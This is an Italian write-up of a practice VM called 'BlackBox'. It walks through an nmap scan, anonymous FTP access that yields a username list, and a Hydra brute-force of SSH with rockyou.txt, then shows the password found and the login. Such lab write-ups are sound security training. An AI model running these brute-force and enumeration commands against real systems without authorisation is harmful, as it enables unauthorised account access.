Hacking VM BlackBox

Fase 1: Scansione Nmap

Abbiamo avviato una scansione completa della macchina per identificare le porte e i servizi disponibili:

```
nmap -sC -sV -A -p- <192.168.50.154>
```

Risultato: Porte aperte trovate:

- **FTP (21)**
- **SSH (22)**
- **HTTP (80)**

Abbiamo deciso di iniziare analizzando il servizio **FTP**.

Fase 2: Accesso al servizio FTP

Dopo aver tentato l'accesso **anonimo** su FTP:

```
ftp <192.168.50.154>
```

Abbiamo trovato la directory **public**, contenente il file `user.txt.bk`:

```
ls
```

```
cd public
```

Utilizzando il comando:

```
get user.txt.bk
```

Abbiamo scaricato il file su **Kali Linux** e lo abbiamo analizzato:

```
cat user.txt.bk
```

Risultato: Il file conteneva **diversi nomi utenti**.

Fase 3: Attacco Brute-force SSH con Hydra

Abbiamo identificato l'utente **anne** come valido per l'accesso SSH. Tuttavia, le password manuali non hanno funzionato.
Abbiamo quindi lanciato un attacco brute-force con **Hydra** utilizzando `rockyou.txt`:

```
hydra -l anne -P /usr/share/wordlists/rockyou.txt ssh://<192.168.50.154> -t 4
```

Risultato: Credenziali trovate!

- **Username:** anne
- **Password:** princess

Ora possiamo accedere alla macchina con:

```
ssh anne@<192.168.50.154>
```

Conclusione

Abbiamo sfruttato il servizio **FTP** per ottenere nomi utente e poi attaccato **SSH** con un attacco brute-force per trovare la password.
Questo conferma una vulnerabilità critica: **l'uso di password deboli**.